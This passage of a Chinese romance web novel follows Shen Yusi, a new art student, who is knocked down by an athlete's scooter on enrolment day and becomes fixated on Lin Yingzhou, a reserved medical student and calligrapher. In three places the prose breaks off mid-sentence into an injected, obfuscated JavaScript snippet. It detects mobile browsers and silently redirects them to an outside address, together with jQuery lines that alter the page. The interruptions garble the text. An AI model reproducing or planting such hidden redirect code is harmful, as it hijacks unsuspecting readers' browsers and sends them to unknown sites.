《原来是病娇》 3. 体育生 谢笙实验结束好不容易有了喘息的机会,沈屿思在等开学也无所事事,两人整天约在一起鬼混。 白天逛街晚上泡吧好不快活。 某天,谢笙好奇地问,“你和祁越怎么样了?” “经常聊天。” 谢笙脸上浮现八卦的意味,“哦~有戏?” 沈屿思呵呵两声,“没戏。” “怎么说?”谢笙不太明白,祁越这类型可是沈屿思高中最爱的那款,两人光是看着就火花四溅,更别说这段时间朋友圈里频繁的互动了。 沈屿思抿了口酒,“我现在换口味了。” 从某种意义上来说,她和祁越是一类人,甚至可以说完全同频,习惯设置恰到好处的豁口,等着对方填补留白,这样永远不会冷场。 如此危险的愉悦感,像踩着薄冰赏月,稍有不慎就会沉溺其中,成为感情中的下位者。 “那你现在喜欢啥样的?” “比如……”沈屿思笑,“帅到令人发指又不喜欢我的?最好是那种禁欲系的清冷帅哥。” 她享受别人从爱答不理到非她不可的过程,征服欲带来的快感是普通恋爱的N倍。 谢笙啧啧两声,“你果然是受虐狂,喜欢高岭之花是吧,行,我们医学院有一个,绝对高绝对冷。” 沈屿思随口问道,“上次怎么没见到?” 谢笙切了一声,“都说是高岭之花了,你见哪个高岭之花会与我为伍。” “……你就不能打入人家内部?” “我哪有那么厉害。” - 开学的日子悄然到来。 昨天嗨太晚,沈屿思今早起的迟了,出门随便套了件白t和牛仔短裤,上车后像霜打了的茄子似的窝在一边。 余舒书看她这样子笑道,“没睡好?” 沈屿思打着哈欠含糊应着,“嗯嗯,好困呐。” 余舒书眼里满是笑意,“待会儿你就在车上睡觉吧,我们去给你办手续。” 沈屿思从椅背上弹起,“不用不用,我就这么一说。” 可不能这么纵容她。 轿车缓缓驶入林荫道,周遭瞬间浸入属于十七八岁少年的蓬勃朝气,沈屿思支起身子贴着车窗看去。 日光将香樟叶脉拓印在柏油路上,蝉鸣声里浮动着少年人特有的清亮嗓音。 新生带着家长拖着行李箱碾碎满地光斑,长龙般的队伍蜿蜒至树荫边缘。 车子停在校门口,一打开车门,热浪从四周涌过来,沈屿思被烘的难受,浑身也没劲。 吴叔不知从哪掏出三根冰棍,递给余舒书和沈屿思,“这天儿真热,来根儿冰棍儿降降温。” 沈屿思接过拆开,一口咬下,冷气在嘴里化开,舒服得眼睛都眯了起来。 三人往学校体育馆走去,余舒书提议,“我和吴叔给你排队填表格,你坐遮阳棚里休息一会儿,别晒到了。” 感受到车外的温度后,沈屿思这下也不客气了,“好。” 两人拿着沈屿思的证件开始分头行动。 这位大小姐倒也乐得自在,随便搬了条塑料凳坐在遮阳棚里啃冰棍。 她边啃边感慨,太热了,今天绝对是今年最热的一天,云大真会挑时间折磨新生。 手机现在拿出来烫的能煎鸡蛋,沈屿思只能百无聊赖地打量着路过的新生。 身后传来杂乱人声。 “学姐我要报名给我拿张表格。” “学姐学姐,我也要报名。” “还有我还有我。” 沈屿思从凳子上转了个方向。 只见正对面的摊位挤满了人,最头上举着一大叠表格的女生大声喊着,“在这边拿单子填表格就行,排队拿,别抢,每个人都有!” 这什么活动这么热门,连报名表都要抢。 沈屿思抬头,只见上面几个明晃晃的大字。 ——公益书法班。 这字写得倒是怪好看的,活招牌啊。 边上聚集的人太多影响到了新生报道,不知从哪冒出几个红袖章开始维护秩序。 人群渐渐疏散开来,有序的排队填写表格。 这下露出了遮阳棚内真正的活招牌。 男人脊背挺直犹如青竹,高温轰炸又身处喧闹,他微垂着头,狼毫游走如春蚕食叶,灼目阳光被驯服成行书的撇捺。 沈屿思视线下移,逼近四十度的天他衬衫扣子依旧严丝合缝,简直恐怖。 她咂巴一声,高岭之花啊,看一眼都觉得冷,难怪他不热。 两人距离相隔不远,她打量的视线又太过赤.裸,高岭之花似乎察觉到了,执笔的手腕凝滞住,眼睫掀起时与沈屿思的目光撞个正着。 她非但不避,反而将身子往前倾了几分,眼神比刚才更加直白,甚至还笑了笑。 男人的样貌被沈屿思尽收眼底。 他轮廓锋锐清隽,又长着极秀气的眉眼,这眼神在如此天气下也没沾上丝毫温度,脸上的表情更是淡到近乎没有。 他眸子轻飘飘掠过沈屿思,又落回宣纸上。 蝉鸣倏然静寂,穿堂风拂过沈屿思的后颈,带着几缕墨香,她忽然觉得今天好像也不热了。 神奇! 在沈屿思看不到的地方,那人背后沁出一层薄汗,手握笔身的力度大到险些将其折断,纸上《洛神赋》写到后半段时变得毫无章法。 余舒书的声音打断她的视线,“圆圆,那边校园卡需要人脸验证,得本人过去。” 她小名叫圆圆。 因为妈妈觉得她出生时像汤圆一样圆滚滚白嫩嫩。 她就顶着这样一张酷脸被叫了十多年的圆圆。 沈屿思这才回头起身,“哦好。” 办好校园卡后,沈屿思被志愿者拉去打卡点拍了几张照片,刚要离开又被另一批人叫住采访,问的无非就是哪里人,什么专业,高考多少分,觉得学校怎么样之类的,说是会剪个合集放在学校官方的社交平台做宣传。 等沈屿思回来时已经过一个多小时,对面宣传摊位上的人离开了大半。 余舒书在一边接电话,“行,我知道了等我回去再处理……对,我这边还有事……嗯。” 余舒书毕竟是首都电视台的总编,平日忙得堪比一国元首,今天陪沈屿思报名是特地请了假的,身在其位谋其职,电视台二把手就算请假也不能完全空闲,这已经是她接的第四通工作电话了。 沈屿思不想耽误余舒书的工作,见她挂了电话赶紧道,“书姨,台里忙的话你就先去处理吧,这也没什么事了,我待会回宿舍补个觉。” 余舒书犹豫须臾点点头,“也行,你在学校遇到什么事情一定要打电话给我,别怕麻烦我。” “嗯嗯。” 送走余舒书后,沈屿思将嘴上叼着的糖棍丢进垃圾桶,又走到书法公益班的遮阳棚,“学姐,给我拿张报名表吧。” 负责人把表格递给她,“好,填完把表格放在那一摞就行,再扫二维码进群,到时候会安排时间考试。” 沈屿思笔尖一顿,“还有考试?” “对,到时候会按照你们的成绩来分配不同的班级。” “哦好。” 填完表格沈屿思跟着指示牌的方向准备回宿舍吹空调,现在室外的温度再多待一秒她就要融化了。 一路上好几辆载着行李和新生的三轮车路过,沈屿思懒得走,本来也想去蹭个车,可她全身上下就一个斜挎包,去占运送行李的位置有些不地道。 她悠哉悠哉走着,随手点开刚进的书法群,那人会不会也在里面? 扫了一眼群内成员的头像,正思忖着,身后传来刺耳的喇叭声,且声源正以飞快的速度靠近她。 “快躲开快躲开!” 沈屿思转身,车子行驶速度太快压根没给她躲开的时间,她就以一种极其狼狈的姿势摔在地上。 车主也不管一边倒的四仰八叉的小绵羊,第一时间跑去扶她,“对不起对不起,你没事吧?” 沈屿思痛得五官快扭曲了,她紧抿着双唇,闭上眼睛默念,不要生气不要发火,生气不利于身体健康还会变丑。 都是小事都是小事,没必要生气的。 想着想着沈屿思一把挥开他的手,“你哪只眼睛看我像没事的样子。” 脚踝应该是扭了,腿上还有胳膊上全是火辣辣的擦伤,要是留疤了,她以后夏天怎么过? 那人满脸歉意,“真的抱歉 ,这刹车突然就失灵了,我送你去医院吧。” 沈屿思深吸一口气,试图缓解怒气,说出的话却像刀子,“刹车失灵了,龙头也和你的脑子一样失灵了吗?不能绕开非要往人身上撞?” 两人处在学校的主干道,所有新生办完手续都是从这条路回寝室的,电瓶车刹车失灵一路过来本就动静十足,现在撞到了人,是条狗都得停下来看热闹。 连运行李的三轮车速度都降下来不少,过去好几辆车上的人齐刷刷对他俩行注目礼。 “居然是夏西繁诶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189080|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有人认出了车主,甚至掏出手机开始录视频。 见状,夏西繁退后捡起沈屿思掉在地上的手机和挎包,对着她深深鞠了一躬,“对不起,冒犯了!” 沈屿思胸腔内的火气滞住。 他发什么癫,好端端鞠躬做什么? 还没问出口,沈屿思身体腾空,被他打横抱起,“你干什么?!” 她挣扎,牵动了胳膊的伤口,痛的龇牙咧嘴。 夏西繁慌乱解释,耳根泛红,“我撞了你,当然要送你去医院。” “谁让你抱我的?”沈屿思瞪他。 “对不起,这情况不赶紧走的话,等下人越来越多就走不了了。”他继续说,语气诚恳,“你腿受伤了我不可能让你走路去医院的。” 他说的确实没错,继续耗下去只会吸引到更多凑热闹的人,可沈屿思就是觉得这人有毛病。 从最开始不转弯直冲冲撞过来,到现在鲁莽地抱着她往医院跑,这些行为都有病! 云昌大学好歹是国内超一流学校,怎么会有这样的人啊。 等等…… “你是体院的吗?” 夏西繁明显一愣,“你怎么知道?” 沈屿思扯了扯嘴角,虽然不应该有刻板印象但还挺准的,“猜的。” 事已至此,沈屿思只能认命,从体育馆到医院的路上依旧是回头率十足,她默默伸手挡住自己的脸。 夏西繁察觉,低声说,“手,搂住我的脖子。” 沈屿思不理他。 他深知自己身份特殊引人注目,无奈道,“你的包在我右手上,我想给你挡着脸,这一路上应该会有人拍视频的。” 沈屿思不想因为这倒霉事出名只能照做,伸手圈住他的脖子。 夏西繁单手托住她的膝弯,另一只手递给她包。 他穿着无袖球衣,手臂肌肉因用力而紧绷,透着一股野性的美感。 仔细看却能发现他整个人都透着一股异常的红晕。 云大校内有医院,夏西繁是体育生,就算抱自己一百八十斤的室友跑过去也就需要十分钟。 是怕颠着沈屿思的伤口才稍稍慢了些。 到了医院,医生做过简单的处理后,夏西繁问,“方医生,还有轮椅吗。” 体育生受伤是家常便饭,夏西繁和这骨科方医生都快成朋友了。 方医生头也没抬,“有,去护士站问护士领。” 沈屿思在位置上等夏西繁,没一会儿他就推着轮椅来了,第一次坐这玩意儿,她还挺稀奇的。 正享受着不用走路的快乐,轮椅停下了,“单子落护士站了,你在这里等我,我马上就回来。” 沈屿思没说话,她其实还挺想问,现在这情况还有不等的选择吗? 难道说她的脚突然好了,突然就会跑了? 手机死机了,沈屿思坐在医院走廊顿感无聊,她低头看见轮椅上的按钮,这应该是电动轮椅,所以她根本不需要夏西繁推。 沈屿思开始研究上面的键位,医用设备构造有些奇怪,也不知道摁到哪个键了,它开始匀速向后方移动。 沈屿思感到新奇,这股劲儿刚上来她就发现摇杆卡死了,始终保持着向后,根本往前推不了。 索性速度并不快,直接关机就好了,然后她淡定地摁到了加速键。 …… …… 沈屿思坐在轮椅上,感受着向后行驶的速度逐渐加快。 “……” 她今天不该出门的。 沈屿思神情肉眼可见变得慌乱。 以现在的速度没一会儿就能到底,走廊尽头是楼梯,摔下去跌骨折的话她可得住院了。 未知的恐惧萦绕着沈屿思,她心一横,伸手解开轮椅的安全带,打算“跳车”。 虽然会加重脚上的伤势,但这已经目前最好的选择了。 沈屿思踮踮伤势更小的左腿,眼睛一闭就要往左前方扑。 她觉得自己的身体马上要腾空落地了,又被硬生生给摁了回来,后背踏实地撞在靠背上。 接着“滴”的一声,轮椅停在原地。 沈屿思呼吸也跟着停下,她偏头看见一只细长的手扣住了自己的右肩,手背青筋有力地凸起。 她长呼出一口气,有种劫后余生的庆幸。 好险,再晚一点她就又要狼狈地趴在地上了。 “缓过来了吗?”头顶响起一道清冽声音。 沈屿思觉得耳熟,她抬头。 4.书法班 冷白灯光自上方倾泻,那人穿着白大褂,俯视着她,下颌线条清晰利落,眼神和几个小时前看见他时一样,没有任何情绪起伏。 他移开视线,喉结微微滚动,“看我的手。” 啊?这是什么奇怪的要求。 沈屿思低头看去。 那只原本扣在她肩上的手此刻正搭在轮椅扶手上,青筋和手骨透过薄薄的白皙皮肉。 沈屿思不合时宜地想着,他如果愿意去雕塑系做手模就好了,她一定会跑去蹭课的。 他没看沈屿思,指尖在键位上移动,语速缓慢,“这里是开关机键,需要长按三秒以上,这是加速键,减速键。” 沈屿思根本没在听的,因为她发现,这人手背的筋脉会随着手指的动作微微滑动,好神奇啊。 演示过后,他问,“明白了吗?” 沈屿思回过神来,其实没太明白。 未等她回答,手机铃声先一步响起。 林映舟接通电话快步往电梯口走,“好,等我过来。” 他将刚刚弄皱的A4纸折好塞进白大褂口袋,又拿出一包湿巾撕开,将双手每一寸皮肤仔细擦过,最后扔进转角处的垃圾桶里。 看着他的背影消失,沈屿思呼吸还没缓过来。 她知道不该乱花痴。 但是。 怎么会有人全身上下都长在她的审美点上啊。 夏西繁从护士站急匆匆赶来,和林映舟擦肩而过。 他回头找不到沈屿思,问了路人才知道她坐着轮椅一路披荆斩棘,冲刺到了心理科。 他小跑过来,“你怎么跑到这边来了?” 沈屿思不想提自己干的蠢事,她选择无视这个问题,“单子拿到了吗?” 夏西繁走到她身后推着轮椅,“哦,拿到了,忘记和你说了,这个轮椅的摇杆坏了,护士说只能作为普通轮椅使用。” “……”沈屿思猛地回头瞪他,“你最开始怎么不说?” “当时记着去缴费,你刚刚不会开机了吧?” 看沈屿思一幅吃了苍蝇的模样,夏西繁这才明白路人说的冲刺不是沈屿思手动转轮椅转过来的,而是电动不受控制冲过来的。 “……没有。” 夏西繁懂她的倔强并未戳穿,“好吧,前面护士站又收回了一副电动轮椅正在消毒,要不要换一下?” 沈屿思没说话,就算默认。 换完轮椅后,夏西繁讪笑,“那……等下我送你回宿舍?” 沈屿思抬头看了眼护士站的时钟,快到饭点了,宿舍楼下现在会有很多人,她可不想在万众瞩目中被一个185体育生推着轮椅送回宿舍。 那可太有看点了。 “送我去宜江酒店吧。” 下午的班会她不打算去了,沈屿思说着将检查单子拍照发给辅导员。 报道第一天就请假,辅导员可要对她印象深刻了。 回去的路上,夏西繁又说,“你的手机还有挎包,我稍后会买新的赔你,然后再请个护工照顾你。” “护工就算了,没到那地步。” 前面医生也说了,没伤到骨头,回去休息个把星期等伤口愈合就行。 “好吧,你有什么事情就打电话给我,我会对你负责的,我存个你的号码吧。”夏西繁说着把手机递过去。 负责? 怎么听着这么别扭啊。 沈屿思忍住没开口,接过他的手机输入自己的号码。 回到酒店后,沈屿思疲累地倒在床上,这一天过得实在魔幻,眼睛一闭上就睡着了。 与此同时她在主干道怒怼夏西繁,以及夏西繁单手公主抱送她去医院的视频,迅速在新生群里传开,马上又被转载到论坛和别的社交软件上。 而沈屿思因为没进新生群没加同学微信,对此一无所知,她就这样一觉睡到天亮。 等到日上三竿,沈屿思从床上悠悠转醒,眯着眼睛打开手机,弹窗叮咚咚冒出,侵占整个屏幕。 她从满屏的推送消息中锁定谢笙的消息点开。 笙笙:【你怎么样?没事吧?】 笙笙:【这夏西繁怎么开车的,头脑简单四肢发达!】 笙笙:【还得是你啊小岛,开学第一天就成名人了】 笙笙:【你这头发可太有辨识度了,就算没拍到脸我也知道是你】 笙笙:【醒来发个消息给我,和我说下你情况怎么样】 沈屿思打了个哈欠,硬撑着回复:【你在说什么啊】 笙笙:【你终于醒了】 笙笙:【昨天你被夏西繁撞了之后有人录视频发网上了】 笙笙:【体院院草和红发美女,转发量惊人,都传到我这儿了】 沈屿思思绪回笼,她点开谢笙发来的链接,视频自动播放着,屏幕里的她正背着身怼人,“刹车坏了,难道龙头也和你的脑子一样坏了吗?” 大早上猛然听见自己的声音,沈屿思想堵住耳朵,她赶紧退出点开另一段视频,镜头摇晃间,夏西繁横抱着她穿行在梧桐树阴下。 男人的肌肉线条将野性揉成令人脸红心跳的张力,镜头推进,她红发垂落,牛仔裤下那双笔直纤长的腿泛着冷白的光,随着笔伐微微晃动。 拍摄者深谙流量密码,不但设置成低倍速还好死不死配了个旖旎的bgm,不知情的还以为是什么浪漫的英雄救美桥段。 沈屿思嗤笑一声,但凡能拍到她的表情,这视频都不会这么暧昧。 她随意扫了几眼评论,发现所有人的重点都跑偏了,全陷在粉红泡泡中。 沈屿思退出去回谢笙的消息:【你们云大的学生也这么八卦呢】 笙笙:【什么你们,是我们,再厉害的读书人学习结束也要娱乐的啊】 Island:【受害者只觉得倒霉】 明明是场交通事故,因为两人的姣好外表硬是变得暧昧,没人关心受害者的伤势,全在夸肇事者帅。 有够神经的。 谢笙分享的是原视频,可能是有些热度被营销号发现了,他们只转载了公主抱的视频,不管前因后果全靠看图说话,硬是给这事描述成了英雄救美。 添油加醋的程度,沈屿思知道了能气得跑去评论区和他们battle。 笙笙:【你现在情况还好吧】 Island:【已经好多了,正好请假,还能不用军训】 笙笙:【也是因祸得福了,云大军训可是出了名的地狱模式】 沈屿思眼皮耷拉着:【脚痛痛,训不了一点】 笙笙:【好好休息吧,我明天去看你】 见谢笙没再发消息过来,沈屿思将手机扔在一边,打算睡个回笼觉。 这件事一不是她的错,二没有拍到正脸,三她近期不用去学校,掀起再多的水花也影响不到她。 所以还是睡觉更重要。 睡意侵袭大脑,枕边铃声聒噪响起,沈屿思深吸一口气,不可避免有些火大,正要发作看到来电显示又给压回去了,“喂,姑姑。” “昨天打电话给你怎么没接,还有今天早上的也没接,就这么忙?”沈佩听她声音像没睡醒,冷哼一声,“你别告诉我,开学第一天你睡到现在。” “昨天太累了,一回宿舍就睡着了,今天没什么事,能睡觉的。”沈屿思闭着眼睛扯谎,要是现在告诉沈佩自己被车撞了,她下午就能从迦南杀到云昌来。 沈佩语气缓和些许,“行吧,这些天怎么样,学校和室友都好相处吗?” “都挺好的,毕竟是名校。”沈屿思含糊应着,其实连室友面都没见过。 沈佩不疑有他,“我下个月在云昌有场音乐会,到时候去看看你。” “好。”沈屿思抵不住困意,“那没事我就睡了啊。” “就知道睡,你在那边有事就找余舒书,别觉得不好意思。” “知道啦。” 过了两天,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194537|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笙终于得空,左手一箱右手一篮跑来酒店探望。 沈屿思靠在沙发上勉强抬眸看了眼她,以及她手上的东西—— 高钙牛奶、苹果还有补品。 沈屿思幻视了家中某些长辈,“你干嘛,来我这走亲戚呢?” 谢笙瞪她,放下东西坐在一边,“不是说不严重吗,怎么躺着不能动弹?” “我这是因为懒。” “怎么样,这两天无聊不?我特地跑来陪陪你。” 沈屿思窝在沙发一角玩手机,咬了口雪糕含糊回答,“还行,玩玩手机画会稿子,一天就过去了,还有空调吹雪糕吃比他们军训舒服多了。” 云大今早刚开完军训动员会,沈屿思就刷到了往年云大的军训回顾视频,那叫一个惨烈。 不说泥潭里匍匐前行,光是扛着木头被水枪喷就够她这个体寒的人吃一壶的了。 谢笙开玩笑,“这么说夏西繁还是你的贵人咯。” 说起这个沈屿思冷笑一声,她昨天晚上发现自己社交账号多了大几万粉丝,几乎来源于这次事件,也自然刷到了营销号剪辑的视频。 沈屿思反讽道,“是哦,多谢他英雄救美让我涨粉,还能借口不军训,这样人帅心善的体育生上哪找去啊。” “诶呀,营销号就是这样,什么有热度就发什么,随便一段视频能编出无数个故事的,别理就好了。”谢笙赶紧扯开话题,“你换手机了?” “院草赔我的。”沈屿思下巴对着不远处,包装高调的黑白色礼盒扬了扬,“还有那包也是。” 她原先背的那个摔在地上,包身磨损了不少,夏西繁马不停蹄买了个新的送过来。 原本看到网上添油加醋的言论就气,结果夏西繁认错补偿态度这么好,沈屿思唯一撒气的地方也没了,她到现在都憋着一股火。 绕来绕去又聊到这件事,谢笙又扯了个别的话题。 两人随便瞎唠了会儿,就背靠背玩各自的智能手机。 沈屿思化怒气为购买欲,打开柜姐朋友圈开始扫货,正起劲呢,书法群弹出一条公告,公布了考试事项。 一共三场考试,分别是楷书,行书,草书。 类似于晋级制。 第一场楷书考试不合格的会被分配E、F班,合格的学生才有资格参加行书考试。 行书不合格的被分配D、C班,剩下小部分学生参加草书考试,从中挑选十多名进A班,剩下的全进B班。 最优秀的A班能被中书协主席也就是美院院长亲自指导。 有这个噱头在,书法专业的新生全报名了。 沈屿思手肘轻顶了一下谢笙后背,“你知道公益书法班吗?” 谢笙人靠过来,眼睛还盯着手机,“知道啊,你们美院办的不是?去年还上新闻了呢,今年就搞得更隆重了。” 云大每年都会开展各类的兴趣班,指导老师一个比一个牛,有些根本抢不到位置。 书法班相比之下就很人性化,举办目的是为了在校内发扬国粹,所以只要报名就都能去上课,就是得考试看水平再分配老师。 有资格上课的老师,最基本也要是中书协会员,更别说ABC这三个尖子班的师资力量有多牛。 国内top级的学校,免费的书法课都比校外几百上千一节的含金量要高。 沈屿思不关心那些,而是问,“上一届你去了吗?” “没去,我对这个不感兴趣。”谢笙放下手机,认真建议,“你倒是可以试试,机会难得。” “你认识上一届参加的人吗,我想打听点事。” 谢笙回答,“有啊,苏泽参加了,他好像进了C班,你要问啥啊。” “我想问他报道那天坐书法摊位上的人是谁。”说着,沈屿思从学校公众号翻出了志愿者拍的宣传照,她放大角落处的人,“喏,就这个。” 谢笙瞅了眼手机屏幕,糊成色素块的照片她愣是一眼认出,“林映舟啊。” 5.换头像 “林映舟?”沈屿思觉得这名字有些耳熟,“你认识?” “当然认识了,他是医学院心理系的,我上次不是说我们院有个高岭之花吗,就是他。” 沈屿思喃喃,“难怪了。” 前些天她就在好奇为什么林映舟会穿着白大褂出现在学校的医院里,敢情人家在那边有正经事做。 “什么难怪?” 解释轮椅的事情又复杂又丢脸,沈屿思自动跳过,“没什么,你帮我问问你男朋友,林映舟会去教课吗,还是说他只做宣传工作。” “当然会啊。” “那他教什么班?” “B班。” “咦?”沈屿思真不懂了,“你怎么什么都知道。” 谢笙哼哼两声,一脸尽在掌握之中。 “第一届书法班还在宣传时期,大家就听说林映舟会去教学,你是不知道我们学院多少新生苦练毛笔,只为了考上B班能被他手把手教写字,我宿舍就有一个,我想不知道都难。” 沈屿思眉毛一挑,迅速抓住这段话的重点,“手……把手?” 她偏头看了眼自己的肩膀,想起不久前他搭在上面的那双手。 手把手诶。 嘿嘿。 谢笙语塞,“你关注点怎么......我就夸张说说,手把手肯定没有,但是面对面肯定有。” 长那么好看面对面也行。 沈屿思翘起二郎腿,“行,那现在我通知你,本届又一个新生要开始苦练书法了。” 谢笙只是叹气,“他可比你以前遇到的都要难搞。” “怎么说?”沈屿思来了兴趣。 “之前有学姐和我聊过他,原话是,他和别的冰山男不一样,他看似冷,但其实山上铺着的那层是雪,是软绵绵能被太阳融化的,只是高温化了这层雪后,露出来的是坚硬的钢板,还是没有缝隙的那种。” 沈屿思懂她的意思,“表面看着冷,接触下来其实不冷,但想再进一步根本不可能是吧?” “就是这意思,学长学姐都说他人很绅士,却和所有人都隔着层东西。”谢笙说,“不过我感觉,只是我个人感觉哈,他这人的冷漠是骨子里的,温和是装出来的。” 谢笙突然站起来高深莫测的比划着,“所以啊,没有人能走进他的心,没有人~” “这样啊——”沈屿思不以为然,“那我就是第一个呗。” 谢笙赞叹,“靠啊,你这话说的真帅啊。” “帅吧。”沈屿思伸手指了指,“去给我倒杯水。” “你…….我真服了!” 沈屿思喝着水砸吧一声,“不过我有点好奇啊,为什么林映舟一个医学院的人能去书法班当老师,他这么牛的?” “对啊,听说是最年轻的兰亭奖得主,而且你们院长是他爷爷,从小就受大牛的艺术熏陶,能不牛吗?” 沈屿思下意识问,“那他不考美院,他爷爷能同意吗?” “应该不能吧,但咱也不清楚他为什么要读心理学。” 不对。 沈屿思呢喃着谢笙刚才的话。 林映舟的爷爷是他们院长林昀之? 半个月前那副写意画的署名是…… 林映舟?! 难怪刚刚会觉得他名字耳熟,原来那幅画是他画的。 不止名字,还有他的声音好像在哪听到过。 沈屿思闭上眼睛回忆,原本忽略的细节渐渐被放大。 在洗手间外的走廊,给她指路的人? 她当时没戴眼镜又着急找路,没看清那人的脸,现在回想起来,他们的声音以及身上的味道都很像。 谢笙看她定着不动,伸手在她眼前挥手,“你干嘛了?” 沈屿思收回思绪,哼笑一声,“谢笙,我现在觉得,我和这个林映舟很有缘分,你等着看吧。” 谢笙无语,“额......哪得出来的结论呢?” 沈屿思勾唇一笑,“哼哼,女人的直觉。” 谢笙:“……哈哈,那我祝你成功。” 沈屿思自信极了,“我等下发张书法的图片给你,你叫苏泽给我看看,我这水平能进什么班,我得有个准备。” “OKOK。” 等谢笙回去后,沈屿思从全是自拍和画稿的相册里,翻出了她一年前写的书法作品。 认真欣赏一遍。 肯定地点头。 果然是神作啊。 谢笙收到图片隔十多分钟才回复:【他说你的字按照他那届的标准应该在D或者E班】 沈屿思差点从沙发上滚下:【怎么可能】 她小时候可是学了好几年书法的,怎么可能才在DE班。 谢笙不忍打击她:【你要知道你的对手都是谁,制定这个标准的人又是谁】 她的字在普通人里是毫无疑问的好看,可这是云昌大学,国内top级的学校,人才辈出,谁还不会个书法了。 道路漫漫啊。 从DE班到B班,短时间内光靠沈屿思勤能补拙根本无法达到。 可近水楼台先得月,公益书法班这么好的机会放在眼前不用,未免太可惜了。 思来想去,沈屿思想到了一位人脉广到无法想象的人。 那个在电视台工作数十年,从底层爬到总编的位置,采访过无数大拿的余舒书。 了解考试机制后,沈屿思盘算了下,她靠自己能通过楷书考试,顺利进入第二场行书考试,也就是说只要行书合格能顺利参加草书考试,她就一定能进B班。 只是她行书写得一般,所以剩下的时间她得专攻行书,由于腿受伤不能外出,又不愿意和年纪太大的人交流,怕有代沟。 所以沈屿思的诉求很简单,要找一位能线上教学,时间充足四十岁以下专业过关的书法老师学行书。 “线上教学?”余舒书问。 不愧是记者出身,抓住重点的能力就是厉害。 沈屿思自然不会告诉她自己脚受伤了,“刚开学有很多事要处理,没时间去校外上课。” 余舒书也没多想,应下,“行,我去给你找。” - 书法公益班的招生持续一周左右,只面向云大刚入学的新生。 由于上届书法班举办得十分成功,校方很重视这届活动的开展。 特地从云大书法协会中选了几名优秀学员成立小组,专门负责相关事宜。 体育馆附近的大路上摆了许多校内活动的宣传摊位,一连过去好几个,堪比夜市,其中书法班的占据中心。 林映舟来的时候其余成员已经做好准备工作在闲聊。 “前些天新生报名有个女孩子被车撞了,然后夏西繁抱她去医院,那段视频传疯了。” “哦哦哦,我听说了,听说她好像是我们美院的。” “对啊,她受伤之前来我们这填了申请表。” “真的假的,所以她是不是长得很漂亮啊,我看那个背影就觉得她是个大美女。” “当然了,她问我要表格的时候我都吓了一跳,还以为是哪个明星。” 边上的男生嗤之以鼻,“八卦死了,一天天的就知道聊这些。” 方初宁淡淡睨了他一眼,“怎样?不讨论美女难道讨论你?你有什么值得被讨论的?” 李岩气急败坏,“你!” 两人都是云大书协的副会长,一直不对付,偏偏总能被安排到一起共事。 眼看着一场战争即将爆发,大家在劝架和看戏之中抉择。 “会长,你来啦?”有人喊了一声,紧张的气焰消失,纷纷和林映舟打招呼。 “嗯,院里有些事来得晚了。”林映舟走到自己的位置上,拿出抽屉里的宣纸铺在桌面。 “没关系还早呢。”方初宁问,“今天打算写什么?” “赤壁赋。” 林映舟是云大书协的会长,当初竞选只想走个流程就退会,却意外获得了最高票数,他平日很忙没时间处理书协的事情,本想辞任,耐不住老师一直劝说。 他才勉强留下当了个挂名会长,有实权但协会现在的主要工作都是方初宁和李岩在负责。 这次书法班的宣传任务,林映舟负责坐在位置上临摹字帖,当活招牌。 新生上午军训结束又撞上午饭时间,体育馆的路上没一会儿就涌入一大波学生。 比报道那天还要热闹许多,书法班的伞棚再次被围得水泄不通。 黏腻的热气被封锁在内,叽叽喳喳的声音吵得耳朵生疼。 林映舟面上依旧沉稳,他低头专注着,屏蔽来自各方的声音和眼神,任由自己以及自己的字被观赏。 写完最后一句“不知东方之既白。”后,林映舟连署名都没加,放下毛笔起身,和一边的方初宁说。 “我走了,你们继续。” 方初宁一愣,没想到今天这么快,“啊……好。” 其余报名的、围观的、凑热闹的人见林映舟离开更是不知所以。 “怎么就走了啊,我还没看够呢。” “上次都没这么早走的……” 更有人直接问负责人,“学姐,明天还能看到他在这写字吗?” “对呀对呀,他写字好好看啊,看得我都想报名了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199981|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 边上同伴揶揄她,“到底是字好看还是人好看啊?” 她嗔怪道,“不能都好看吗?” “应该能吧。”方初宁也不敢打包票,大三医学院的任务重,林映舟今年本不用负责宣传的,他能来已经是帮大忙了。 “那好吧。” 宣传结束后整理东西,方初宁拿起桌上的赤壁赋一字一字看去。 其余成员也都凑上来欣赏这幅在众人围观下诞生的作品。 “这结构、这运笔、这布局,很难想象居然是在刚刚那样的情况下写出来的。” 在座的都是书法专业前几,未来行业的佼佼者,可看到林映舟的字还是会自愧不如。 有人不由感慨道,“写得真好啊,不愧是最年轻的兰亭奖得主,不来我们专业简直浪费。” - 司机在校门口等候,“少爷,去哪?” “回老宅吧,爷爷回来了。” 雕花铁门在烈日下缓缓开启,管家迎上来。 